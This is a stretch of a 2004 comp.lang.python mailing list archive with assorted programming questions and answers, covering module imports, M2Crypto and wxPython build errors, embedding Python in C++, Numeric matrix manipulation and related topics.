> My question is thus: how do I reference a parent module and its 
> children?

--- foo/__init__.py ---

import module1
a = 5
module1.DoStuff

--- foo/module1.py ---

import sys
import foo

def DoStuff():
     print foo.a
     sys.exit(0)

------

The idea is that when you look at a single source file, all the imports 
are right there.  Each module has its own namespace, and doesn't 
inherit from its parent.  Otherwise it would get cluttered to heck!

You said that importing sys from module1 is inefficient and 
impractical.  Why?  It takes more writing to use parent.sys.bar instead 
of just sys.bar... I'd regard putting 'parent' in front of every 
occurrence of 'sys' impractical.  Plus, if you use parent.sys, it looks 
like your using the module 'sys' from the package 'parent', which isn't 
the case.

You might have been thinking about speed... but don't.  First of all, 
you're forgetting the first rule of optimization: Don't.  Second rule 
of optimization: Don't, yet.  Third rule of optimization: The 
bottleneck isn't where you think it is.  For a lot of code, the 
bottleneck is actually writing the code.  So to make the whole process 
faster, write the code faster.  This means write less code, and 
especially don't do anything just because you think it would be faster 
for the computer.  Often you're wrong, and you've just wasted a lot of 
your time, and the computer is probably fast enough.

And finally, using 'parent.sys.exit' is slower because Python has to 
get the value of 'parent', then get its attribute named 'sys', then get 
sys's attribute named 'exit', than call it.  If you import sys 
directly, you don't have to retrieve it from 'parent' every time, and 
no, this does not load additional code -- it just references the 
already loaded module.

Please, please don't be seduced by optimization.  Make your code work.  
It is far easier to optimize correct code than correct optimized code.  
Also, never optimize code not checked into a revision control system.




From andymac at bullseye.apana.org.au  Wed Feb  4 16:49:47 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 5 Feb 2004 08:49:47 +1100 (EST)
Subject: dlls and distutils
In-Reply-To: <m2u126engg.fsf@mother.paradise.lost>
References: <m2u126engg.fsf@mother.paradise.lost>
Message-ID: <20040205084719.E43035@bullseye.apana.org.au>

On Wed, 4 Feb 2004, John Hunter wrote:

>   2) Ideally, I would like to build my DLL with the other library code
>      statically linked in.  But I'm not sure how to do this.

If you have static libraries for the code you want to link in, just
specify the names of the static libraries in the usual way (as you would
for import libraries).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From max at ucmg.com.ua.remove.it  Mon Feb  9 10:44:56 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Mon, 09 Feb 2004 17:44:56 +0200
Subject: CoInitialize error when using adodbapi
Message-ID: <c089rb$7cg$1@hyppo.gu.net>


Hi,

I'm using adodbapi wrapper arount OLEDB driver and I got this error when 
calling adodbapi.connect():
(-2147221008, 'CoInitialize has not been called.', None, None)

The weird part is that it occurs only when running under WebKit, my 
standalone test programs run just fine.

I'm using py2.3 with win32all build 163, if that matters.

Any ideas?

tia.


From mb at muenster.de  Sat Feb 28 06:56:55 2004
From: mb at muenster.de (Martin Bless)
Date: Sat, 28 Feb 2004 11:56:55 GMT
Subject: Please hear my plea: print without softspace
Message-ID: <4041796c.2181078@news.muenster.de>


Why can't we have an additional 'print' statement, that behaves
exactly like 'print' but doesn't insert that damn blank between two
arguments?

Could be called 'printn' or 'prin1' or 'prinn' anything similar you
like.

Would make my life so much easier. Often I start with a nice and short
print statement, then there happen to be more arguments and neat
formatting becomes more important and as a result I find myself
rewriting the code over and over again just to cope with those blanks
I'm forced to take into account.

Coding would be easier: If there are more arguments to print, it's
just the argument list that grows. If you need a blank then add one.
But you don't have to rewrite your arguments into expressions which
can be tedious and isn't efficient anyway if its an extra operation
just to get rid of those blanks.

What do you think?

Martin


From stuffduff at cox.net  Thu Feb  5 16:53:40 2004
From: stuffduff at cox.net (Sean)
Date: 5 Feb 2004 13:53:40 -0800
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
Message-ID: <3222fe00.0402051353.48efdc07@posting.google.com>

stuffduff at cox.net (Sean) wrote in message news:<3222fe00.0402031441.6dc93896 at posting.google.com>...
Final Scoop, I got it working!

If anyone ever has the same error:

2004-02-05T13:40:45 PANIC(300) z2 Startup exception
Traceback (innermost last):
  File /usr/local/zope/z2s.py, line 789, in ?
    (Object: ZLogger)
  File /usr/lib/python2.2/site-packages/M2Crypto/SSL/Context.py, line
155, in set_tmp_dh
  File /usr/lib/python2.2/site-packages/M2Crypto/BIO.py, line 150, in
openfile
  File /usr/lib/python2.2/site-packages/M2Crypto/BIO.py, line 139, in
__init__
SSLError: system lib
        
What they will discover is this:  

  ssl_ctx.set_tmp_dh('%s/dh1024.pem' % INSTANCE_HOME)

But the file is there!  
The error actually has to do with a missing server.pem!
This also fixed the missing attribute _pyfree ignored error.

But I'll leave explaining why to Ng Pheng Siong ...

Thanks to all for the help, it is sincerely appreciated!

P.S.  

Ng, switch the python version test and you're python 2.2.3 ready!  ;-)


From p at trick.lu  Sun Feb 15 14:37:41 2004
From: p at trick.lu (Patrick Useldinger)
Date: Sun, 15 Feb 2004 20:37:41 +0100
Subject: Webware / localhost vs. real IP address
References: <m88v2095n13d9v234ska33t29ob9of5hiu@4ax.com>
	<c0occ2$uoe$04$1@news.t-online.com>
Message-ID: <0giv201h05qimbt664ov8993a152rvd245@4ax.com>

On Sun, 15 Feb 2004 19:04:50 +0100, "Diez B. Roggisch"
<deets_noospaam at web.de> wrote:

>Yes - sockets that are connected to '' listen to all local addresses, while
>localhost listens only to 127.0.0.1 - this is somewhat misleading described
>in the socket module. So I guess you should configure webware in a way that
>its listening on '', not on localhost.

I was mislead by the fact that 127.0.0.1 == 192.168.1.2 in my case.
While this is logically true, the addresses are obviously still
considered physically different
Thank you.

-PU
--
http://www.homepages.lu/pu/


From aahz at pythoncraft.com  Wed Feb 18 16:47:12 2004
From: aahz at pythoncraft.com (Aahz)
Date: 18 Feb 2004 16:47:12 -0500
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
Message-ID: <c10mh0$kfr$1@panix3.panix.com>

In article <2ca51434.0402181235.460befe3 at posting.google.com>,
DrPike <ml71 at katamail.com> wrote:
>
>The problem: I need to manage thousands of registration form for an
>incoming congress, and I need to avoid spambots.
>
>The idea should be to send a light image containig an alphanumeric
>string, with a bit of manipulation (eg. bkground noise, distortions
>and so on) in order to make a possible interpretation by humans but
>programs.

With thousands of registrations, you're going to have at least a few
blind or visually-impaired users.  Bad move.  Instead, ask a question
that requires intelligence to answer.  (E.g. "What color is the sky?" or
"What is the third word of the second paragraph?" or "Give me the first
letter of each word of the following phrase: spam and eggs")
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From jan at jandecaluwe.com  Thu Feb  5 12:14:59 2004
From: jan at jandecaluwe.com (Jan Decaluwe)
Date: Thu, 05 Feb 2004 18:14:59 +0100
Subject: ANNOUNCE: MyHDL 0.4
Message-ID: <40227A13.101@jandecaluwe.com>

I am happy to announce the release of MyHDL 0.4.  MyHDL is a Python
package for using Python as a hardware description & verification
language.

MyHDL 0.4 supports the automatic conversion of a subset of MyHDL code
to synthesizable Verilog code. This feature provides a direct path
from Python to an FPGA or ASIC implementation.

For the details on the release, go here:

    http://jandecaluwe.com/Tools/MyHDL/whatsnew04/whatsnew04.html

For a general overview and starting point, go here:

    http://jandecaluwe.com/Tools/MyHDL/Overview.html

Regards, Jan

-- 
Jan Decaluwe - Resources bvba - http://jandecaluwe.com
Losbergenlaan 16, B-3010 Leuven, Belgium
    Python is fun, and now you can design hardware with it:
    http://jandecaluwe.com/Tools/MyHDL/Overview.html



From edreamleo at charter.net  Tue Feb 17 09:29:40 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 17 Feb 2004 08:29:40 -0600
Subject: 2.3 encoding parsing bug
Message-ID: <10349ardb7psua3@corp.supernews.com>

The documentation for encoding lines at

C:\Python23\Doc\Python-Docs-2.3.1\whatsnew\section-encodings.html

states:

"Encodings are declared by including a specially formatted comment in the
first or second line of the source file."

In fact, contrary to the implication, the Python 2.3 parser does not look
for lines of the form:

# -*- coding: <encoding> -*-

For example, Python improperly scans the following line for an encoding

#@+leo-ver=4-encoding=iso-8859-1.

and reports that iso-8859-1. (note trailing dot) is an invalid encoding!

The workaround for my app is to precede this line with the following line:

# -*- coding: iso-8859-1 -*-

This makes Python 2.3 happy.

To make myself perfectly clear: Python has absolutely no right to complain
about comment lines that do not have the form:

# -*- coding: <encoding> -*-

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From rich_NOSPAM_ at _NOSPAM_holmteam.net  Mon Feb 16 00:56:50 2004
From: rich_NOSPAM_ at _NOSPAM_holmteam.net (RichH)
Date: Sun, 15 Feb 2004 23:56:50 -0600
Subject: C API: NULL tstate
References: <102pdiffq7gqka9@corp.supernews.com>
Message-ID: <MPG.1a9a178a33255e64989680@news.wowway.com>


Did you call PyEval_InitThreads()?  If you don't, the thread stuff
is a mostly a NOP.

Cheers,
Rich



In article <102pdiffq7gqka9 at corp.supernews.com>, ajole-1 at gci.net says...
> I am using sip to generate python bindings for my c++ library. sip is also 
> used to generate python bindings for the Qt Gui toolkit. The PyEval_*Thread 
> and PyThreadState_* seem to end up with a NULL tstate parameter at different 
> points of execution when I start instantiating more complicated sip-wrapped 
> widget classes along with my own multi-threaded library. At one point, I 
> moved the thread creation code into python (by causing it to simply call a 
> method in my library to execute the thread), and it helped a bit. 
> 
> I'm obviously not looking for help with sip, but it would be nice to get a 
> general overview of what conditions cause a NULL tstate to be passed to
> these 
> functions. I've posted a few messages on the sip mailing list about this,
> but 
> the problem seems a little too biased toward the scope of this list for any 
> of them to answer. 
> 
> Cheers!
> 


From bart_nessux at hotmail.com  Wed Feb 11 10:24:14 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 10:24:14 -0500
Subject: iterating over a list and printing
Message-ID: <c0dhev$2gp$1@solaris.cc.vt.edu>

ip_list = []
inputFile = file('ips.txt', 'r')
ip_list.append(inputFile.read())
inputFile.close()
for i in ip_list:
    print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast 
128.173.123.255 up" %i

The last line does not work. It prints the first part (/sbin/ifconfig), 
then the entire list of ips, then the second part (netmask 255.255.252.0 
broadcast 128.173.123.255 up). Any ideas on how to fix this? The desired 
results are to print a line for each IP.

/sbin/ifconfig IP1 netmask 255.255.252.0 broadcast 128.173.123.255 up 
/sbin/ifconfig IP2 netmask 255.255.252.0 broadcast 128.173.123.255 up
etc...



From stuffduff at cox.net  Tue Feb  3 17:41:49 2004
From: stuffduff at cox.net (Sean)
Date: 3 Feb 2004 14:41:49 -0800
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
Message-ID: <3222fe00.0402031441.6dc93896@posting.google.com>

System is Redhat 9.0, Python 2.2.3, Zope 2.6.2

built OpenSSL from source:

2791797 Sep 30 14:50:15 2003 openssl-0.9.7c.tar.gz  [LATEST]

used configure options to set for /usr/local and /usr/local/openssl
make
make test
make install

--all-ok

generated demo certificates ok

modified build_ext.py in both places

built SWIG-1.3.20

make check gave error: 
...
/usr/bin/ld: cannot find -lswigtcl8
collect2: ld returned 1 exit status
make[2]: *** [tcl_multi_cpp] Error 1
make[1]: *** [all] Error 2
make[1]: Target `check' not remade because of errors.
...
example.i:20: Warning(451): Setting const char * variable may leak memory
make: *** [check-tcl-examples] Error 1

(googled -lswigtcl8 with no joy) so ...

make install gave no errors

installed m2crypto 0.11 (Target for ZServerSSL is Zope-2.6.2)

[root at host tests]# python alltests.py
Traceback (most recent call last):
  File "alltests.py", line 6, in ?
    from M2Crypto import Rand
  File "/usr/lib/python2.2/site-packages/M2Crypto/__init__.py", line 7, in ?
    import __m2crypto
ImportError: /usr/lib/python2.2/site-packages/M2Crypto/__m2crypto.so: undefined
symbol: EVP_rc5_32_12_16_ofb

Theoretically I have the correct (or later) versions, so what should I check next?

TIA


From sean_berry at cox.net  Tue Feb  3 02:50:19 2004
From: sean_berry at cox.net (sean)
Date: Mon, 2 Feb 2004 23:50:19 -0800
Subject: Question about 'if __name__ == "__main__":'
References: <k9ITb.28697$P17.28414@fed1read03>
	<pan.2004.02.03.07.39.39.54419@internode.on.net>
Message-ID: <VoITb.28698$P17.9290@fed1read03>

Thanks....

exactly what I was looking for.

"PoD" <pod at internode.on.net> wrote in message
news:pan.2004.02.03.07.39.39.54419 at internode.on.net...
> On Mon, 02 Feb 2004 23:33:42 -0800, Amy G wrote:
>
> > I have a program that needs a little help.
> > Right now the program runs in my crontab.  When it runs, it sets a few
> > variables based on a query to a MySQL database.  I would like to modify
it
> > so that it can run as it is... or if arguments are supplied, use those
> > instead of querrying the database.
> >
>
> Hint: len(sys.argv)
>




From gingaloon at hotmail.com  Mon Feb  2 13:58:04 2004
From: gingaloon at hotmail.com (JamesW)
Date: 2 Feb 2004 10:58:04 -0800
Subject: Installing wxPython and Friends
Message-ID: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>

Dear All,

I need to install wxPython to run some programs that interest me.  I
have had numerous problems, probably due to knowing little about the
packages and python, and taking the computer over from soemone else.

I have recently carried out a clean install of Linux RH 9.0, hoping
this may eleviate the problems.

I hoped that the prerequisites would already be installed, but I doubt
this now after getting the message:

usr/include/gtk-2.0/gtk/gtktypeutils.h:66:1: warning: "GTK_CLASS_TYPE"
redefined
error: command 'gcc' failed with exit status 1

I looked at previous replies to this error and the suggestions were
that I install wxGTK2 which I have tried to do but get the following
error:

>src/generic/dirdlgg.cpp: In member function `void
>   wxDirCtrl::OnExpandItem(wxTreeEvent&)':
>src/generic/dirdlgg.cpp:334: choosing `char wxString::operator[](int)
const'
>   over `char& wxString::operator[](unsigned int)'
>src/generic/dirdlgg.cpp:334:   because worst conversion for the
former is
>   better than worst conversion for the latter
>make: *** [dirdlgg.o] Error 1


I have no idea how I get round this.  ANy suggestions would be
appreciated, as I fear that I'm installing packages on top fo packages
and making the situation worse.

Many Thanks

James


From http  Thu Feb 26 03:34:07 2004
From: http (Paul Rubin)
Date: 26 Feb 2004 00:34:07 -0800
Subject: No Thoughts about Everything
References: <mailman.148.1077782101.8594.python-list@python.org>
Message-ID: <7xn0761bpc.fsf@ruckus.brouhaha.com>

bblochl <bblochl at fh-lausitz.de> writes:
> I found a solution for the simulation of access modifier "static final
> " in python:
> 
> 
> class Mytest:
>     LOGE_10=(2.302585092994046,)
>     #Klassenkonstante (static final) use a tuple :-)
>     #def __init__(self):
>           def log10(self,x):
>         return(log(x)/LOGE_10[0])
> 
> testmath=Mytest()

But you can still change the value by saying

   testmath.LOGE_10 = (3.14159,)

outside the class definition.


From kmt at MailCentro.zzn.com  Wed Feb 25 18:21:52 2004
From: kmt at MailCentro.zzn.com (Keel Thaan)
Date: Wed, 25 Feb 2004 23:21:52 GMT
Subject: No Thoughts about Everything
In-Reply-To: <c1j7u2$p08$1@news.service.uci.edu>
References: <mailman.106.1077724046.8594.python-list@python.org>
	<%C7%b.22026$M8.2005242@news4.srv.hcvlny.cv.net>
	<c1j7u2$p08$1@news.service.uci.edu>
Message-ID: <k6a%b.23161$M8.2517662@news4.srv.hcvlny.cv.net>

Josiah Carlson wrote:
>> This will create c as an unmodifiable attribute:
>>
>>     c = property(lambda self: 2.99792458e8)
>>
>>
>> Does that do what you want?
> 
> 
>  >>> class foo:
> ...     c = property(lambda self: 2.99792458e8)
> ...
>  >>> v = foo()
>  >>> v.c
> 299792458.0
>  >>> v.c += 1
>  >>> v.c
> 299792459.0
>  >>> foo().c
> 299792458.0
>  >>>
> 
> It doesn't quite work.

I suppose I should have mentioned that you have to use a new-style class:

 >>> class foo(object):
...     c = property(lambda self: 2.99792458e8)
...
 >>> v = foo()
 >>> v.c
299792458.0
 >>> v.c += 1
Traceback (most recent call last):
   File "<input>", line 1, in ?
AttributeError: can't set attribute


I don't think the behavior of property() is even officially defined for 
old-style classes.



From no at spam.pls  Tue Feb 17 04:47:29 2004
From: no at spam.pls (Matthias)
Date: 17 Feb 2004 10:47:29 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
Message-ID: <36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>

Peter Hansen <peter at engcorp.com> writes:

> Matthias wrote:
> > 
> > This study reports a programmer productivity gain of about 2 for all
> > the scripting languages over C, C++, and Java.  It is a pity that not
> > more attempts to gain /unbiased/ information on software productivity
> > are undertaken.
> 
> I agree.  Unfortunately, it appears, the cost of doing that is just too
> high.  Several times I've wanted to do a study in my company to measure
> the claimed productivity improvements of Python (and of other things) but
> in the end without funding it's not likely to happen, or to be credible.

I can see that it's hard to get company funding for such research.
But then: Software is a multi-billion dollar business, languages are a
really fundamental tool for it (if you get a 5% increase in
productivity by adding/removing a feature X from language Y this can
be huge savings overall).  Yet nobody seems to be bothered that the
evolution of computer languages goes like: Somebody has a cute idea,
builds a language around it, tries to hype it, maybe attracts
followers, maybe creates a market which then attracts more followers.
It's all trial and error, like medicine in the middle ages.

A more scientific approach would be: Take a language X, build variants
X-with-OOP, X-with-static-typing, X-with-funny-syntax and let
developers use it under controlled settings.  Watch them.  Generate
bug statistics.  Look for differences.  Try to explain them.  This
would be hard work, difficult to do and expensive.  But I expect this
approach would find better [1] languages faster.  The benefits might
be substantial.

Matthias

---
[1] At least better w.r.t. certain application domains and certain
types of developers.


From rob02omni at vodafone.it  Thu Feb  5 13:11:25 2004
From: rob02omni at vodafone.it (Roberto)
Date: Thu, 5 Feb 2004 19:11:25 +0100
Subject: PyRun_File
Message-ID: <bvu0rn$nnu$1@grillo.cs.interbusiness.it>

I cant get result from PyRun_File maybe someone can get me in the right
direction??

Follow code:


                    PyObject* localDict;
                    PyObject* mainModule;
                    PyObject* mainModuleDict;


                    int i=Py_file_input;

                   Py_Initialize();

                    mainModule=PyImport_AddModule("__main__");

                    if(mainModule==NULL) { }
                    mainModuleDict=PyModule_GetDict(mainModule);
                    localDict = PyDict_New();


                   FILE *fpOut = fopen ("temp.py", "w");

                    fwrite (tempStr , 1 , hdlsize, fpOut);

                    fclose(fpOut);

           FILE *fpIn = fopen ("temp.py", "r+");

                      //int tempPyResult = PyRun_SimpleFile (fpIn,
"temp.py");
                      PyObject* tempPyResult =
PyRun_File(fpIn,"temp.py",i,mainModuleDict,localDict);
                      int lenTempPyResult = PyString_Size(tempPyResult);
                      char* stempPyResult = PyString_AsString(tempPyResult);
                  Py_Finalize();

end code

When i try to read tempPyResult i cant get result?

I know that maybe is easy but i can figure out!

Please Help!
-- 
Thanks Rob




From no at sp.am  Tue Feb 17 22:22:00 2004
From: no at sp.am (DH)
Date: Tue, 17 Feb 2004 21:22:00 -0600
Subject: How do make a function that creates a sequence of n random
	numbers?
In-Reply-To: <40327353.427A67CE@engcorp.com>
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
	<40327353.427A67CE@engcorp.com>
Message-ID: <adednY9lv5PLR6_dRVn-vw@comcast.com>

Peter Hansen wrote:

> If you need more help, I suggest you post the code you have written so
> far to this mailing list/newsgroup and ask for feedback.  You'll learn
> the most, the fastest, this way, and will demonstrate your own willingness
> to do some of the work.

Maybe the question was asking for help getting started.


From michael at foord.net  Wed Feb  4 03:59:28 2004
From: michael at foord.net (Fuzzyman)
Date: 4 Feb 2004 00:59:28 -0800
Subject: newbie py2exe difficulty
References: <PsoSb.329649$JQ1.232982@pd7tw1no>
Message-ID: <8089854e.0402040059.3eefc0a1@posting.google.com>

"Elaine Jackson" <elainejackson7355 at home.com> wrote in message news:<PsoSb.329649$JQ1.232982 at pd7tw1no>...
> Hi. I'm trying to use py2exe (http://starship.python.net/crew/theller/py2exe/)
> in Windows 98. I copied the necessary files into my Python23 directory (where I
> have a module called 'mastermind.py'), and in the same directory I saved a
> Python source file called 'setup.py' containing the following text:
> 
> from distutils.core import setup
> import py2exe
> setup(console=["mastermind.py"])
> 
> At this point the instructions say the following:
> 
> """
> Running
> 
> python setup.py py2exe --help
> 
> will display all available command-line flags to the py2exe command.
> 
> Now you can call the setup script like in this way:
> 
> python setup.py py2exe
> 
> and a subdirectory dist will be created, containing the files myscript.exe,
> python23.dll, and library.zip.
> """
> 
> My problem is that, when I attempt to follow the first instruction (details
> follow), it opens a DOS window that may indeed display all available
> command-line flags to the py2exe command, but isn't very helpful because it
> immediately disappears. (In fact I'm really not sure what a command-line flag
> is, or what I'm supposed to do with it.) I've also tried simply running
> setup.py: the DOS window disappeared immediately and there was no 'dist'
> directory in evidence.
> 
> Here is what I tried regarding the first instruction:
> 
> i) Creating a shortcut to setup.py, setting its 'target' property to
> 'C:\Python23\setup.py --help', and double-clicking on its icon.
> 
> i) Setup | Run... | C:\Python23\python.exe setup.py py2exe --help | OK
> 
> Any help with this problem will be very much appreciated. Knowing how to create
> standalone executables would give me lots of incentive to keep learning more
> Python (which, incidentally, rocks).
> 
> Peace


What I do is open my setup.py using Mark Hammonds windows PythonWin
editor.
This allows you to specify command line options - and displays the
result in a window that doesn't dissappear.........

Fuzzy


From Nikolay.Diakov at cwi.nl  Thu Feb 12 05:28:15 2004
From: Nikolay.Diakov at cwi.nl (Nikolay Diakov)
Date: Thu, 12 Feb 2004 10:28:15 GMT
Subject: - any ideas how to do this efficiently?
Message-ID: <Hsyvr4.3nM@cwi.nl>

Dear Python fans,

I recently selected Python as scripting engine for our research project.
This implies my beginner experience with Python.

Let me explain the background of the problem I want to solve.

Our research group has designed a formal language for building
special "connectors" which allow one to specify formally and
explicitly the cooperative behavior of some component instances.
We define a component instances as a black box with at least
one live animal (thread/process) inside which can communciate
with the outside environment through special holes we call "channel
ends". The formalism of the language defines the primitives a
component instance can perform on channel ends.

We have built a simulator in C++ for the our language.
We want to design a special type of component instance called
a "scriptbox" which runs a Python script. This week I have
successfully linked CPython to our applciation and have called
Python functions and have let Python functions call back the C++
API of our language (embedding and extending Python at the
same time).

Now, since our simulator can have multiple instances of
script boxes, we would like to have them execute Python scripts
concurrently. I wonder, do you guys have any good idea to
allow concurrent execution of Python scripts, which call back
the C++ API of our language (the simulator will further deal with
synchronization issues internally)?

Yesterday I read about the threading module of Python (basically
Java-like, thus quite familiar) and I think of the following solution:
Using the Python C API for every scriptbox instance I will
instantiate a custom thread object, the run method of which
will evaluate the specific Python script for that scriptbox.
Now, I have read about the limitations of Python threads
concerning their actual paralelism (as compared to OS
processes) and I can live with those. Do you think this will
work?

Best regards,
  Nikolay




From jzgoda at gazeta.usun.pl  Mon Feb  2 14:32:51 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Mon, 2 Feb 2004 19:32:51 +0000 (UTC)
Subject: wxPython documentation
References: <401c25a3$0$11357$636a55ce@news.free.fr>
	<2c60f0e0.0402010147.e225e51@posting.google.com>
	<mailman.1117.1075711825.12720.python-list@python.org>
Message-ID: <bvm8l2$bln$2@atlantis.news.tpi.pl>

Ronald Oussoren <oussoren at cistron.nl> pisze:

>> If C++ docs are "easy" to convert in your head to Python.
>> It does help if YOU KNOW how to program C++ first.
>> So much for learning Python as a first computer language!
>> And if you have to learn C++ first, then why do you need Python?
>>
>> Why do all programmers seem to think good documention is optional?
>> Or an exercise left to the reader?
> 
> Another reason why wxPython has no seperate documentation is probably 
> that "translating" the C++ oriented documentation is a major effort 
> (there is a lot of documentation) and there is only a small team 
> working on wxPython. Because the existing documentation is usuable 
> enough it is understandable that they choose to work on improving 
> wxPython instead of translating the existing documentation.
> 
> The same issue can be seen with wrappers for other large libraries.

The very same issue with PyQt (X11 free edition) didn't surprise me.
Additionally, wxWindows documentation has some wxPython remarks (such as
in case of overloaded methods), which Qt documentation lacks. But this
is fine for me, I can live with that.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From bkc at Murkworks.com  Wed Feb 25 10:06:54 2004
From: bkc at Murkworks.com (Brad Clements)
Date: Wed, 25 Feb 2004 10:06:54 -0500
Subject: Python HTML Documentation Generators
References: <c1fsv5$2of$1@news-int2.gatech.edu> <20040225013338.GB4898@frobozz>
Message-ID: <c1idmg$heg$1@sea.gmane.org>

Has anyone tried PBS ?

http://swag.uwaterloo.ca/pbs/examples/

 The Software Bookshelf is a set of software tools for visualizing and
navigating information that represents large software systems. PBS is a
portable version of this software.

It looks a little old, but the visualization of Linux is interesting.

I've also taken a look at Shrimp

http://shrimp.cs.uvic.ca/

I think epydoc and other doc tools could extract the data that these two
tools need. Anyone else try these?






From fumanchu at amor.org  Tue Feb 17 12:47:11 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 17 Feb 2004 09:47:11 -0800
Subject: Simple allowing of HTML elements/attributes?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D45@opus.amorhq.net>

> [Alan Kennedy]
> >> The optimal solution, IMHO, is to tidy the HTML into XML, 
> and then use
> >> SAX to filter out the stuff you don't want. Here is some code that
> >> does the latter. This should be nice and fast, and use a lot less
> >> memory than object-model based approaches.
> 
> [Robert Brewer]
> > I rolled my own solution to this the other day,
> > relying more on regexes. This might be more usable.
> 
> Not sure what you're saying here Robert. Certainly, a regex based
> solution has the potential to be faster than the XML+SAX technique,
> but is likely to be *much* harder to verify correct and secure
> operation.

Sorry! I meant *your* solution might be more usable, not mine! :)

Thank you *very* much for the complete reply--it'll take me a while to
digest.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From chrish at cryptocard.com  Fri Feb  6 11:07:36 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Fri, 06 Feb 2004 11:07:36 -0500
Subject: DOM with EntityReference support?
Message-ID: <FUOUb.11564$ZN1.632250@news20.bellglobal.com>

Has anyone written a parser for use with PyXML 0.8.3 that produces a DOM 
with EntityReference objects?  The only one I've found seems to be 
xml.dom.javadom, and Andrew Clover's pxdom (which doesn't support external 
entities).

Specifically, the features I'm looking for:

- validation against an external DTD
- produces EntityReference objects instead of inserted the entity's
   replacement text
- DOM level 2, give or take ;-)

Any clues greatly appreciated; I really don't want to move this application 
to Java just because I couldn't find a DOM that did what I needed.

Thanks!

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From phleum_nospam at chello.se  Wed Feb  4 15:23:19 2004
From: phleum_nospam at chello.se (Carl)
Date: Wed, 04 Feb 2004 21:23:19 +0100
Subject: A matrix problem. Please help!
References: <8zaUb.2767$O41.76012@amstwist00>
	<bvrgke$3bu$06$1@news.t-online.com>
Message-ID: <ArcUb.2799$O41.76048@amstwist00>

Peter Otten wrote:

> Carl wrote:
> 
>> I have the following matrix that I want to transform:
>>     
>> import random
>> import Numeric as N
>> ru = []
>> for i in range(25):
>>     ru.append(int(random.uniform(0, 2)))
>> ru = N.reshape(ru, (5, 5))
>> 
>>>>> ru
>> array([[1, 0, 1, 1, 1],
>>        [0, 1, 1, 1, 0],
>>        [1, 1, 0, 0, 1],
>>        [0, 1, 0, 0, 1],
>>        [1, 1, 0, 1, 1]])
>> 
>> Trailing numbers (ie, from left to right) after the first encounter of a
>> "1" for all rows should equal "0".
>> 
>> Thus, I want this:
>> 
>>>>> ru
>> array([[1, 0, 0, 0, 0],
>>        [0, 1, 0, 0, 0],
>>        [1, 0, 0, 0, 0],
>>        [0, 1, 0, 0, 0],
>>        [1, 0, 0, 0, 0]])
>> 
>> Does anyone have a suggestion of a fast and easy way to accomplish the
>> above?
>> 
>> Carl
> 
> (Disclaimer: Numeric newbie code)
> 
>>>> import random
>>>> import Numeric
>>>> import itertools
>>>> def oneone():
> ...     while 1:
> ...             r = int(random.uniform(0, 2))
> ...             yield r
> ...             if r: break
> ...     for r in itertools.repeat(0):
> ...             yield r
> ...
>>>> ru = Numeric.array([[x for x,y in itertools.izip(oneone(), range(5))]
> for z in range(5)])
>>>> ru
> array([[0, 0, 1, 0, 0],
>        [0, 0, 0, 1, 0],
>        [1, 0, 0, 0, 0],
>        [0, 0, 0, 1, 0],
>        [0, 0, 1, 0, 0]])
>>>>
> 
> Or, more seriously, i. e. assuming that you have no influence on the
> initial matrix:
> 
>>>> r
> array([[1, 1, 1],
>        [0, 1, 1],
>        [0, 0, 1]])
>>>> for i in r:
> ...     for k in Numeric.nonzero(i)[1:]:
> ...             i[k] = 0
> ...
>>>> r
> array([[1, 0, 0],
>        [0, 1, 0],
>        [0, 0, 1]])
> 
> Peter


Thanks Peter,

This:

for i in ru:
    for k in N.nonzero(i)[1:]:
        i[k] = 0

works very nice, but I'm a little worried about performance problem, since
the matrix ru is typically of size 10,000 to 100,000 rows by 10 to 60
columns.

I have tried to figure out how to do it without loops, but have not managed
to do that yet.

Carl
 


From melys at telkom.net  Tue Feb 24 02:33:36 2004
From: melys at telkom.net (Melysa Handayani)
Date: Tue, 24 Feb 2004 14:33:36 +0700
Subject: Ctrl-key detection in curses
Message-ID: <web-9271005@b2.c.plasa.com>

Is there any other methods to retrieve inputs in curses 
than getch() or getkey(), specially ones that can detect 
ctrl-key?
Thank you!
===========================================================================================
Akses Internet Prabayar TELKOMNet-Prepaid, 
nominal Rp.10.000- Rp.150.000. 
Dapatkan di Plasa - Plasa TELKOM terdekat (khusus di Jawa Timur)===========================================================================================



From jmeile at hotmail.com  Wed Feb 25 08:21:44 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Wed, 25 Feb 2004 14:21:44 +0100
Subject: os.walk walks too much
In-Reply-To: <mailman.96.1077712778.8594.python-list@python.org>
